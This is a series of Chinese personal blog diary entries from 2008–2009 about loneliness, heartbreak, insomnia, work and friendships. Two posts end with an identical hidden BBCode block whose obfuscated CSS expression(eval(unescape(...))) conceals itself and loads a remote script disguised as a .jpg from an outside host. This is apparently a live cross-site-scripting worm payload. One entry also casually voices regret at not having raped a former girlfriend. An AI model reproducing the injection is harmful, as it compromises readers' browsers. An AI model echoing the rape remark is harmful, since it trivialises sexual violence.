七°

这样最好。

365536462@qq.com( 七°) — Sun, 01 Nov 2009 14:37:14 GMT

『 1.』

大中午
没拉窗帘
一大串光芒把我射醒
晕了N秒，刚才的梦想不起来。真该死...
N久没写日志，又忘了自己是什么调调！
看到以前的日志都不相信那是出自于我的手笔。
这么矫情的文字哪里会是现在的我还在写的东西。
可是我清楚记得那是我写的。
看那些故事。
觉得演员们都挺伟大。
不不。。从来都不是。大家都是凡人。
他们演绎的人物都是如诗如画。
那些婉约。疯恋。淡薄。智慧。
怪我不该粉饰它。
是会另观众产生错觉的。
人性本就是贪婪的。不知足。
我现在小日子过的这叫一个滋润。
所以没有必要纠结那些！

『 2.』

天有点冷，我给自己增加了些许物品！
还有衣物，我将它们一件件冲刷，再整齐地晾干！
衣架是否跟衣服的颜色搭配，都开始计较起来。
我得冷暖自知！
最喜欢的黑色线衣！
去年冬天到现在都没动过
香水味早散尽。
编织的梦也该碎了。
没什么好说的了。
如果非要说点什么。
那就是我讨厌洗衣服。
我想写封情书，送给一个闽南的女孩子。
可是一直没灵感。
在搁浅些时日。哈哈欲擒故纵...

『 3.』

昨天和表哥一起去泉州，
他的女儿真的好可爱。
圆圆的脸、大眼睛。
说话的时候声音蠕蠕的，总是对人说谢谢。
哇哇哇。我以后又想要个女儿。
我估计儿子也很帅啊。
阿露说我会生个蜡笔小新样的儿子，
我说她会生个儿子像个哈巴狗。
也不是我霉她，
就那样的小孩，长的跟个红薯头样，送我都不要。
算了算了！只是有点蘑菇而已.
叔叔也不是什么坏人，下次带你去肯德基吃拌面哈。

『 4.』

不知不觉在金淘待了3年！
这里不适合我的生存法则。
朋友听了我的想法，约我去深圳打工。
不要拿你一月几千的工资跟我慌肖肖，先把欠我的钱还我！
不然我会以为你想诱拐我。
偷看我的钱包，又得一夜无眠了估计。
你这样很不礼貌，
到处和别人说我的是不义之财。
别以为我没察觉。
我想把这叫做上进心，或投机取巧也可以！
我的生活。一定按着自己的性子来才不枉为人的。
这才符合那句笑看人生嘛。
这没有错。
我赞成。并预备一直这样去做。

『 .. 』

好了。
最后再一句废话。
大家伙，安康万福。

浅夏碎念

365536462@qq.com( 七°) — Sat, 04 Jul 2009 15:40:33 GMT

不想言语。
安静的房间。
轻音乐。碎念。

白天。睡很多的觉。
然后。在晚上失眠。

傻迪回国
闲聊，喝茶，K歌到深夜
生活似乎增色了不少

天气预报说的大雨滂沱。终于到来
气温少许飚低，
前段时间，与紫外线频繁的接触
黑了我那本来就不怎么帅的脸
怪阳光太灿烂。
发誓以后再也不在这种天气下瞎逛。
然后过几天依旧如此。

总有人问。你是个怎样的人。
随心所欲。
有点任性。
有点贪心。
有点感伤。
还有点神经质。

蔚蓝的天空。
夏日的某个午后。
黑色立领T恤
浅蓝色沙滩裤
大口大口的喝着原味绿茶。
遇见某个遗落在时光缝隙中的人。
哦。原来你也在这里。

不了了之。
那一季。
有很蓝的天。
很灿烂的微笑。
很香浓的榛子味饼干
一去不复返。
淹没在时光轮回中。

许嵩用干净的声音刺痛着我的心。
印下一段段，铭心的岁月。
心底的某个角落。
藏着伤。
会在某个夜晚。
隐隐作痛。

谁谁。
我说。我很自私。我要过的比你幸福。
你说。你很无私。希望我过的比你好。
然后。我咯咯的笑了。

天气。阴晴不定。
突然怀念起冬天了。
至少更适合彼此温暖。
很奇怪
已经灭迹的那篇怎么还在D盘里
不想去翻动
我知道快写完了

但还是不想动
没有肆意宣染的悲伤。
没有大量大量的文字。
其实。这样。很好。

碎念。只是记录此时的心情。

零乱的文字。生活安逸。超赞！

好了，就到这。

大家万福安康吧！

七一切安好。

365536462@qq.com( 七°) — Sun, 31 May 2009 04:48:33 GMT

【关于这季。我的安然无恙。】

夏季似乎来的很仓促。在我还没有准备的时候。
和朋友吃饭。喝了很多酒。
胃里翻江倒海般的疼着。
跑到厕所吐了很久。感觉胃里空空。坐在马桶上发呆。直到手机响起。
摇摇晃晃的走出去。嘴里叼着烟晃过走廊。女侍应生的目光鄙夷的望过来。
我笑笑。拿包白狼。谢谢。
小饭店对面的门口吵杂不堪。
看到一辆皖K开头的面包车
上面写着专修平房漏水，我过去狠狠的踹上一脚
车上的人想打我，朋友把我拉开了
我说我先回家，我听到有人说我疯了
雨水频繁。一连几天的阴霾，
小镇的初夏始终是燥热的，随时可能低落的雨点让人焦躁不安。
楼下阳台上的水龙头不时发出沉闷钝重的声响，对楼小孩的哭声
雨后的路上行走。混沌的水总会溅起水花，在白色的帆布鞋上留下执拗的斑点。
昏暗的窄小楼道，低迷的灰白色墙壁，斑驳的楼梯扶手。
时不时能闻到粽子的味道
我点了一支烟，这中味道似乎好多了
倾盆大雨譬如前天夜里。
打开门，我坐在摇椅上，很想找个人说说话
可是没有。我打开电脑
一个人安静的写这些不明所以的字。
我的夏季。谁的未央。
那一季的光阴，被初夏的风吹散，纷纷掉落。
苍凉了谁的兵荒马乱？

【关于生活。我的安然静默。】

对于生活。我的态度始终不明朗。
我不是一个积极的人。一直是得过且过的姿态过活。
习惯早醒，但不起床，玩弄手机。
把第一个叫我起床的人埋怨一顿，虽然我已经醒了。
下楼时表哥总是在泡茶，其实早上喝咖啡不是更提神？
机械式的工作状态。习惯了把送货单捏手里，我怕一下车就会找不到它。
食堂里的欧巴桑们唠唠叨叨，除了嫌这嫌那，就是问我什么时候娶老婆？
可爱的老妇女，我总是大笑的说您孙女要嫁人？
到速食店帮忙分餐，把这当成了自己的第二份工作。
我喜欢看着人们享受的表情，虽然算不上美食
下午空调16°暴睡，天昏地暗...
晚饭没着落，饿着肚子小镇的各个角落闲逛
奶茶店，烧烤摊，针织厂，服装店,溪边排挡.....
一堆账目，算几次答案有几个，
深夜写字。安静孤单。
大多时候。仅我一人。写下的字。
一大片一大片。堆积在电脑的某个角落。亦或许写完之后立刻删除。
失眠。彻夜失眠时常常精神亢奋。
大脑缺氧。想来应是缺少睡眠。偶尔会觉得困倦。却执拗的不肯睡。
喝不加糖的黑咖啡。浓郁的香。苦涩的甜。
幻想有天。拥有属于自己的中式餐饮店。
在某个街角。有透明的落地窗。温暖阳光。三三两两的人。
安静低沉的音乐。安静的望向窗外.即可裹腹亦有情调。
看窗外匆匆而过的路人。满足的神态
这样的生活。安然静默。

【关于网络。我的安常习故。】

前段时间有人加我的Q。开场白就是问题。
而且很多。诸如人生要怎样才会快乐。怎样才能忘记疼痛。怎样才能不再忧伤。
这些问题。我不懂的怎样回答。连我自己都没有答案。又怎会回答的出呢。
有些人。觉得我太过清高。验证要求加为好友时。我大多都是来者不拒。一一通过。
之所以说大多。是有些人的口气让我难以接受。一副命令的口吻。这是我不喜的。
很多人在请求通过之后发过来消息要聊天。我都没有回复。
然后我看见有人说。我是带刺的玫瑰。吸引人。却会伤人。
也看见有人说。我没有礼貌。不懂得回复。
还看见有人说。我是伪善。虚伪的善良。
我想说。若是你被吸引。那是你的事情。
若是我不礼貌。那是我的事情。
至于伪善。我无言以对。
且我从未觉得自己有多善良。或许内心邪恶也不一定。
每一个看我文字的陌路人。
你喜欢也好。不喜欢也罢。
那是你们的事情。与我无关。
习惯记录下这些琐碎的事情和时光。
不要妄加说我的文章无病呻吟的东西了。
我只是怕忘记。我真的怕我会忘记。
只有这样。我才能清楚的记得。
我真的是从这些光阴里一步一步的走过。
而不是虚无。

【关于寂寞。我的安宴鸠毒。】

我抽疯，与寂疯言疯语。
那时我真的很难过，觉得头疼的要命，像是要炸开了一般。
我说，我不知道怎么办了。
我看着她发来的信息，愈加难过。
我知道我不该如此自私的去打扰他人的生活，
我一个人癫狂就够了，何必让他人跟着担心。
凌晨，致电。
我听见寂在电话那头的平静的言语。
或许她不知道。她的声音很好听。
任何时候，无论多阴暗，犹如暖风吹过的印记。
我一直都觉得她该去做电台DJ或心理医生。而不是会计。
想对寂说一定要相信我。我会很好。

回想那些时日里我的癫狂，夜夜失眠，曾经害怕令我恐慌的行径及关键言语。
【格子围巾，姿色香水，安踏，妮维雅，那封信，客运中心站，9楼，闽A，奥迪，0591，日本，乐事黄瓜味....】
来不及打包的片段。
《关于莫。》我一直觉得。它就像自己十月怀胎即将孕育的婴孩。
只可惜胎死腹中，好也罢。坏也罢。不需要收尾。
对于某些曾经路过的人。我想我已经释怀了。已经可以平静面对了。
我自认没有过对不起。也算是问心无愧了。
既然这样。就请你放我一条路。
我们各自过各自的生活。这样不好么？
最后。引用你的话。
世界上有些事连爱也无能为力，我们要活的委婉点。

【关于七谨。我的安之若素。】

忘记是昨日还是今日。
有人和我说起关于名字的事。
不喜欢七这字眼。“七”者“凄”也。不好。我说。
我倒是甚为喜欢的。
谨是一种花，我没见过
七谨年是个小说作家，她的作品我没看过
黑白灰。数字七。灰了一季。阴天。凌晨睡下。不动声色
喜欢小四。喜欢三毛。喜欢慢摇。喜欢轻音乐。喜欢边缘电影。
喜欢各式各样的围巾。喜欢浅色的破旧牛仔裤。喜欢白色平底鞋。
喜欢冰凉透顶的白开水。喜欢昏暗的黄色光线的台灯。
喜欢中南海。喜欢坐在阳台安静的抽烟。
遇见过一些人。遇见过一些事。
好的。坏的。温暖的。凄凉的。
喜极而泣的。欲哭无泪的。
自以为。人活一世。酸甜苦辣。样样俱全。才有味道。
爱过。恨过。癫狂过。病态过。
义无反顾过。颠沛流离过。
但那些过往。都已如同过眼云远。随风即逝。
此时。努力平静。努力淡然。努力安生。
始终忠于自己的信仰。
七。安之若素。

文/七谨°

09/5/30凌晨

午夜念想

365536462@qq.com( 七°) — Fri, 08 May 2009 17:38:56 GMT

指针停在1点一刻的位置
只是还是没有丝毫睡意。
我不知自己是失眠还是只是一种习惯
除了心情不好，我的睡眠质量通常还可以，
但现在我已经成了真正的习惯，
每晚都会熬到1，2点才会关电脑，睡眠。
更古不变的习惯。
毕竟不是个好习惯，
只是我也无力改变什么。
我知道有些记忆是磨灭不了的，
就如我对你的记忆，午后看到了电视画面的韩剧，
那个场景，不经意又陷入你的回忆，
甜蜜的，幸福的，彷徨的，失落的，心伤的，疯狂的，绝望的。
一丝丝记忆把我压垮。

冰冷的夜，越来越深，
肚子开始饥肠辘辘，我开始拼命的咀嚼食物，
直至将所有的食物被我解决干净才心满意足。
但，似乎还是饿，
我不知道是嘴馋，还是心里空虚到不行。
不想亏待自己的胃，
裹紧外套，带上钱半夜傻傻的往外面跑，
夜晚街上的温度很低，打了个寒战，
横扫一眼，独此剩一家酸菜面
我发誓，要不是真的饿疯了我坚决不吃那玩意
老板叫矮子，人还不错对生活很有自己的念想。
沉寂于不变的生活，每天重复着同样的动作。
开门做生意，就像没有前戏缺乏灵魂的ML。
没想到老板也是性情中人啊！他爆笑...
语毕。付钱快速往家跑。

坐在电脑面前哆嗦
心情有点压抑。满桌狼藉，
该死，忘了买烟。
一盒烟头还剩大半截
有点浪费，确实挺浪费的！
要重新捡起来抽？如果需要我想我会。
其实并不是那么上瘾.
就像我说想你，已经成瘾了
事实上不想你的话，我也不知道自己要做什么。

我花了大半年的时间写疯了寂寞，写痛了忧郁，写死了离殇，
我也不喜忧伤的文字，只是在自己情感无法宣泄时借以文字的寄托。
只想把自己所有的情感，苦涩的冰冷、渗入骨髓的惶恐不安加以摆脱。
21生日那天，你问我有什么愿望，我说，没有愿望。
现在我霸道的来许个愿望。
我希望莫停下来，哪怕只是一起过一个十字路口。
我知道没有什么是永恒的
就像有些人不能永远在另一个人身边
走的走，来的来，变化着，到最后什么都没了，
正如你，我，他，他们，你们，我们。
都会离去，更换不停。
谁也不是谁的谁，虽然是如此，但还是不舍，
遥望海岸线的两边，两个溺水的人相互搭救。
遇见你，不过是场美丽的意外。 ”

文/ vicky
9日凌晨

一季又一寂

365536462@qq.com( 七°) — Sun, 12 Apr 2009 16:48:21 GMT

相遇的一季，寂寞疏离。
转身的一季，寂寞繁盛。
一季繁华，一季思念。

---题记

【两两相望，两两相忘】

真爱未到一个深度，
终究无法领略其间的意义。
即使再漠然
在有的人前，还是会瞬间鲜活，有血有肉，有满腔的热忱。
这如果不是所谓的魔力
又该如何诠释？
又或者，应了那句“一物降一物”。
真TM好笑！
此刻，该是欣慰的，因了还陪着自己的人。
有人对自己说，永远不会离开。
这个看不见，摸不着的永远硬是让我死心塌地信了。
甚至觉得“永远”这两个字如此的难能可贵。
于是不愿再化地为牢，固守自封，努力地让自己相信幸福的样子。
又开始偶尔地失眠。
躺在熟悉的大床上望着纯白的天花板翻来覆去。
一直以来都在思考一个问题。
我究竟是怎样的一个人？
为何我如此地在乎这样那样的人，

【人生如此，浮生如斯】

情绪反反复复，时好时坏。
开始怀疑自己，患上间歇性的失语，间歇性的失忆。
忘记是谁说过，这世上有一种最幸福的病，叫做选择性失忆。
可以选择，遗忘那些让自己痛苦，让自己悲伤的理由，确实很幸福。
可如果某日回眸时，倏然惊觉，自己的过去，竟是空空的一片，那，又将情何以堪？
且行且停。
一路走来，凌乱的心绪竟是在恬暖的光影与如水的微凉里，渐渐安定下来。
细碎的心思，不去纠结于那些桩桩件件的小事，不去疼痛于那些渐行渐远的过往。
一个跟我交往17个月连脸都没碰着的女孩！
是因为嫌我不够坏，后来我学吸烟了
我为她爬墙！把联邦交到她手上时，她说：“你这么那么慢啊”
那年我17岁，走的时候她的眼神没有不舍！
我用了整整一季！
戒了烟，忘了她
也用了整整一季后悔
为什么当初没有强奸她!
其实，我一直是知道的，谁没了谁都不是世界末日，照样可以好好的过。
所以留给我的那个号码一直没打
我认为我不会再为女人傻一次
很多的事情都是无疾而终的，
并不是所有的故事都非得有个结局，不是吗。

【一季又一寂】

某年某月
看见这句话，心里猛的颤抖。
就是它了。
打完这段，时间是00：45
第3包中南海还剩1支
妈妈问我下楼干什么？
其实我早知道1包是不够的。
《关于莫》还是没有完成
一直都希望能够写出这样的一个女子。
不会感觉到寂寞
不会深爱上男人，最爱的依旧是自己
不会轻贱自己，信人只信七分，不去说人是非
也不会理会流传的关于自己的是非
即使内心苍白，亦会让自己看起来好似骄傲的公主。
那个女子半年前就等着验收
网友们问了不下N遍
一直没写只因为很多事情变得太快
一季终归于沉寂。

__vicky"

09.4.13凌晨

一季一寂。

365536462@qq.com( 七°) — Mon, 06 Apr 2009 15:20:00 GMT

手机屏幕上薄弱的光，
似乎都能在夜里点亮任何一个房间的黑暗。
用手机按键拼凑出来的情绪，时而稳，时而晃。
对的，我只能把你们看到的这些字体简单的称之为情绪。
一个人自言自语的情绪。
我永远都存在着这样一种情节，即使结束已成定局。
曾一次次的删掉你的号码，写各种忧伤的文字来抚慰自己受伤的心灵，总结似乎已看破红尘。
可当你一条信息或一个电话，只是简单地说“亲爱的v，我想你！
亲爱的v，想和你说说话！
便立刻丢掉了所有的矜持，急急地只剩关切。
再次付出，且浴火亦不回头。
直至事态平息，你复原，后面的结局便又自然成了本次的开端。
处于劣势下，我的心情好坏全由你操纵
你不经意地问候与温暖都足以让我回味无穷，
而你其实更加随意的不加留意和放松，都足以将我打入冰冷的石窟，
触壁即僵，无路可逃。
就像我那天说过：“当你用力去抓住某件东西时，也代表着即将失去了。
不要去奢望抓住它，该来的则来，不该来的也无能为力，一切顺其自然...... ”
你说只要是你给的，是毒药我也吃!
爱自己多一些，不要把所有的感情一次全部投入，是我说的！
一片混乱!
我想没过多久我会疯的...一定会!
连续几天的每个夜晚过后的两点到三点之前，总是陷入痛苦的挣扎里。
身体与心的疲惫促使自己很想去入睡。
殊不知闭上眼以后却觉得这样的夜睡觉是一件很无聊的事。
我们的爱情仍在继续，感情依旧还在，只是不知道到底能维系多久……
亲爱的遇见你以后：
最喜欢的颜色是黑色，
最喜欢的花是矢车菊，
最喜欢的味道是你身上的淡香，
最喜欢的歌是你推荐的，
最喜欢的季节是你我相识的冬…
容许我用最简单的文字记录最真实的感情。
亲爱的请记住：我的世界不允许没有你。

-------vicky（原稿待续）[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

旧。

365536462@qq.com( 七°) — Thu, 05 Mar 2009 16:20:53 GMT

一句话，一瞬间。
你无语，我无言。
你的微笑，你的眼泪。
动了谁的情，又苍白了谁的容颜。
我只能祝福。
躲在明媚背面的孩子，
请安静走过你所定义的似水流年。

——题记

>>>VOL 1.

用了很长的时间来习惯一个人生活。
可是你突然来陪我。如果等你走了。
我又要用很长的时间来习惯一个人。
瞬间迸发的热情可以让很多人相遇，
然而生活中总是少了那么些坚忍的执着和等待，
所以细水总是很难长流。
在某个安静的时刻，
都能一一回想起生命中那些难忘的细节。
闭上眼睛，
那时的颜色，
那时的他和她，
那时的街道，
那时的小吃店，
那时的灯光.....
瞬间的片段，
一小段一小段。
还是那么念旧，还是那么放不开
这些年，我已经养成了很多不好的习惯。
我的确是与这个世界格格不如的人
可我无法改变我的性情。
我一直希望会有那么一个人可以包容我的小任性，玩世不恭及冷漠霸道。
可是没有，一直没有，今后也不会有。

>>>VOL 2.

关于手心纹路
凤山寺那个算命老头皱了下眉说
罕见的断掌
用前程似锦来形容已经很谦虚了
应该多花点人民币
顺便算下姻缘的....
活了二十一年，
我真ＴＭ觉得自己上演了一场噩梦。
没什么盼头了都
开始在每天早上6点醒来
不叠被子，不吃早餐，
7点准时下楼上班
开门，摆摊。接电话，备货，送走，再重复...
这样简单的劳作总是持续不到每天中午十二点。
一个人拖着不是很疲惫的身体，回房间。
然后开始心疼自己平时不在家时，辛苦工作一天爸妈；
开始明白生活的本质是充实，艰辛与责任，而非落寞，清闲与放任。
我想，那种轻松无聊的工作不适合我。
记的有人说过，你很有潜力..
还有那老头？
摊子估计砸我手里了。
放那么多希望在我身上。
我怕自己会窒息而亡。

>>>VOL 3.

其实并不一定得两个人才最美好。
一个人也可以拼出更好的蓝图。
仅在于你的心境。
一个人的哪怕彻夜未眠都可以找到愉悦的感觉。
遂明白。并不是一个人不快乐。
也不是两个人不快乐。
如果你感觉不到快乐、那么即使三个人哪怕全世界人都当你是焦点你也不会快乐。
只是、我也会爱，也会生不如死
静下来的时候我也会寂寞。
要我每天对着你暗着的头像发呆。
我宁愿删掉一切。尽管如此不舍...
鼓浪屿的美景没有让我流连忘返。
我想我很失落！回家路上一直陪我说话的那人
现在找到方向了吗？
空洞洞的房间,不敢让手机休停
我要告诉他们没有爱情我一样能活！
- 悦：“又想跟我啰嗦什么？你已经过得很好了，别抱怨了。”
- R：“别让伤情延续太久了！想当初.....”（省略）
- 荣：“第几个了？造孽呀....”
- 纤：“等我10分钟！”（都TM三天了怎么还没动静？）
........
想睡觉！不抱希望...
最后致电某寂！
不善言语的寂！冷若冰霜的寂！
此刻我把她当做了救命草
至少我们是安全的！
寂，所定义的爱情让我一时间无所适从！
她希望我快乐起来，过正常而温暖的生活。
我想，我应当这样。

>>>VOL END.

我习惯了熬夜，习惯了喝很多矿泉水，
我喝下那些冰的水
只是为了让心的温度在冷水的刺激下显得温暖一些。
我折磨着自己，只为两个字，逼自己，忘记。
那些冷水让我在更冷的空气里感觉到温暖。
是真的，以毒攻毒可以让人短暂的麻木。
我记得很久以前的那句诗：
[用你零度的手，温暖我零下一度的心。
许下我，一个世纪。＂]
花姐说：“来左转单车吧！你会喜欢这的。”
呵呵！！浅笑。
我这辈子不想当个作家，我没那种命。
我也不会当诗人，诗人都短命。
我只想有个人在天黑后听我说说话，也就够了。
那些会是遥不可及的梦吗？
一触碰到生活的礁石，就会碎得连痕迹都没有。
徒留人空悲切。
所以，很多时候，我会尝试着用一百种答案与接近答案的方式
去了解、描述身边所发生事。
于是也越来越明白
不要过于牵强自己，也不要过于牵强别人。

[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

仅此而已。

365536462@qq.com( 七°) — Sun, 01 Feb 2009 15:58:13 GMT

看过这样一句话。

一场已知的结束。

是另一场未知的奔赴。

过往的印迹我们无力更改。

只能希望未知的路途安然度过

仅此而已。

----题记

[_______。虽然熟悉还是会怀念。_______]

春节窝在沙发里看韩剧，或悲或喜，且开始惊讶于韩国人的样貌。
男人的脸竟然可以那样棱角分明，女人的脸竟然可以那样恬淡安静。
我想我上辈子一定是一个色鬼
以至于这辈子看见好看的男人和女人竟然还会垂涎欲滴。
电脑已经有些日子未动，上面的灰尘已是一片。
很久没有写字，手指触到键盘的刹那，指尖刺痛，颤抖出大片大片陌生的感觉。
其实他们都不知道，那些字只是我一个一个的拼起来的，就像拼图一样。
突然开始想念我的拼图，那一堆硬纸板而不是现在那种木板的拼图。它去哪里了呢？
他们开始限制我上网，他们说怕我沉沦在网络里面。
其实他们都不知道，我已经沉沦在里面了，且不能自拔。

[_______。太多的垭口无言,会过去的我相信。_______]

朋友失恋了，我淡然的说，过些时候就会好。
我知道，我只是一个旁观者。我的旁观者姿态，是自负的样子。
但是，那又能怎么样呢？
我不知道，除了这样一种姿态，我还能有什么别的姿态。
其实，我想告诉他，爱情只是一种生活里的附属品而已，没有一样可以继续呼吸。
但是，我始终没有做到。
我想起我劝解他时候的样子。
一副事不关己的淡然，一个简单的句子。
我想，那时候的我一定是一副欠揍的嘴脸。

[_______。骄傲的绽放，凋谢，腐烂至消失不见。_______]

按下Delete的那一瞬间，冻结了如同一个世纪般久远。
偶尔还是会有幻听。听见乱七八糟的声音。
听见她说，你在我心里的重量，是无人能及的。
听见她说，你是一个让人心疼的孩子，我要好好疼你。
听见她说，你还有我,我会温暖你
听见她说，我讨厌你，你走开。
听见她说，我永远永远不要见到你。
听见她说，我一直都没把你放在心里，你对于我来说，什么都不是。
开始剧烈的疼痛。那些言语，如同尖利的刀锋一般，刺透心脏。
我看见刀尖低落的血液，是冰冷的样子。
天知道，我是多么多么的心疼它。

[_______。若你我相遇，我们要都是明媚的笑颜。______]

我看见华丽的爱情，如同水晶杯一样透明但易碎。
我看见女主角眼睛里的忧伤，突然的就觉得左心房剧烈的疼痛。
那么那个女人又是谁呢？想了很久，却是徒劳。
也许只是一场关于爱的幻觉
偶尔总是会觉得怪怪的，是一种难以名状的感觉。
我不知道，若我离开现在的生活，能否安生。
但是，我现在这样，始终没能安生。
我爱的女子
望你都能真的安生。
仅此而已。

片刻安然

365536462@qq.com( 七°) — Sun, 11 Jan 2009 14:53:07 GMT

提笔，茫然。
落笔，感伤。
一直用文字诉说着一些和青春相关故事
见书见纸
以为这便是人生。
大大的世界;小小的我
撇开喧嚣,平淡度日。
一切，安之若素
不动声色。

-----题记

< 安静度日 >

前段时间，不知不觉中发生了许多事，却选择沉默。
带着灵魂出走，却始终寻不到答案。
于是，放弃无谓的挣扎，停止空洞的思考。
然后抬头微笑，仿佛一切都没发生过。
原来，伪装早已成为生活的一部分了。
最近，很厉害地学会了心情好坏交替的技能。
那些，隐藏在喧嚣、打闹、不安、压抑中的快乐。

< 房间音乐点缀 >

在房间播放着舒缓的音乐，然后开始收拾房间。
习惯性地把书桌上的书摆得井然有序，而后清理抽屉。
不经意中发现，原来抽屉里藏着不少的美好回忆。
一直都静躺在抽屉里，等待着我的检阅。
随手拿起一沓纸张，一页一页地翻看。
那么纯真。
仿佛整个世界被按下静音，只有回忆在轻轻吟唱。
这样是什么意图?这件是什么意义?
一一浮现。
然，久远的记忆，终是回不去的从前。
轻轻放下这些回忆，重复着我的静默。

< 暴晒薄雾知足>

耳边突然传来了一阵熟悉的旋律...
“如果我爱上你的笑容，该怎么收藏该怎么拥有...”
《知足》。也许，我真的应该学会知足。
怀揣了那么多不安之后，还是有人在身边。
默默的，是这么勇敢。
记忆里，是那些温暖的言语和原始的感动。
原来，我也曾是个那么容易就被感动的人。
其实，我已经拥有了很多了。只是不曾发觉。
我会告诉自己，那些人，我曾爱过。
那些回忆，我不曾丢弃。
所以可以很有底气的说声:谢谢!

< 嘘! 片刻安然 >

胡乱的文字
也不知道自己该想表达些什么。
一场选择
一场经历
一场欢笑
一场悲伤
为什么什么都在变化
令人无能为力。
最后的关于谁的文字
最后的微微的思绪
最后的最后.....

vicky生日快乐

365536462@qq.com( 七°) — Thu, 11 Dec 2008 14:06:23 GMT

嘿，你是否曾在梦中幸福微笑醒来。
嘿，你是否曾低声呢喃欢愉。
嘿，20年来，你是否真心实意的开怀。
嘿，那个叫vicky的男孩。生日快乐。
vicky。祝你自己生日快乐。
____题记。

VOL 1.

时光匆匆。如流水般飞快。
一年。两年。三年。二十年。
将满20岁的vicky。
曾几何时。
对着很多人大声吼叫。
要永远年轻的那个男孩。
现在已渐显成熟！

VOL 2.

他暗自思忖。他要感谢谁。
抚育他的父母。经历生育痛苦产下他的母亲。
陪伴他走了20年的朋友。
照顾她给予她幸福的那个女孩。
还是。一直坚持的在各种挫折中没有被击败的自己。
20年来经历了太多。
好的。或者坏的。他都熬过来了。
他努力学着微笑面对每个人。
从体内透出的那股与人疏离的气质。
还是侵蚀着每个试图接近她的人。

VOL 3.

慢慢的成熟。使他开始处事淡然。
长辈的赞许以及朋友的支持。
每一个表情。每一句语言。他都牢牢记住。
他知道。也许那便是以后积累下来的财富。
他试着微笑的信任身边的朋友。
他试着不管眼神如何冰冷都嘴角微笑。

VOL 4.

他开始确立自己的目标。
他开始在沉睡中苏醒明白自己想要得到的东西。
曾经如一把匕首。
每一次失落以及伤害。那个伤口会记得。
尽管不久的将来就会结痂。
他还是会时不时的轻轻抚过那块僵硬而冰冷的皮。
他还是会牢牢记得曾经那个谁赋予的伤痛。

VOL 5.

含着棒棒糖时。
舔着冰激凌时。
吸着冰红茶时。
细碎的阳光。斑驳的照射。
时光无际。流年似水。
谁把谁忘记。谁把谁当真。
笑，充满自信的冷笑。

VOL 6.

vicky。生日快乐。
他知道一定会有很多人对他说这句话。
他也知道。他会蓦然愣住。不停的说谢谢。
他在内心挣扎着。那句生日快乐的含义。
是成熟了。是长大了。还是苍老了。
他想像每一个活在20岁的孩子一样开朗灿烂如阳光。
他不想每天日复一日重复枯燥无味而惹来的满目苍离。
编辑筐里。跳动的竖杠。
他写上了长长一串需要他感谢的人名。
似乎。没完没了。到最后。他居然混乱了。
哪个人写过了。哪个人还没有写。
真的乱了...

VOL 7.

对他好的人。他一辈子都会记得。
从20岁开始。他不会再继续让自己健忘。
他不会再忘掉很多很多的东西。
很多很多一直以来对他说心疼的朋友们。
你们知道么。
只要有你们在。
vicky。他的20岁。将会那么精彩。

VOL End.

轻轻的说。
亲爱的vicky。
那个微笑着的vicky。
祝你。生日快乐。

七°

这样最好。

浅夏碎念

七 一切安好。

午夜念想

一季又一寂

一季一寂。

旧。

仅此而已。

片刻安然

vicky生日快乐

七一切安好。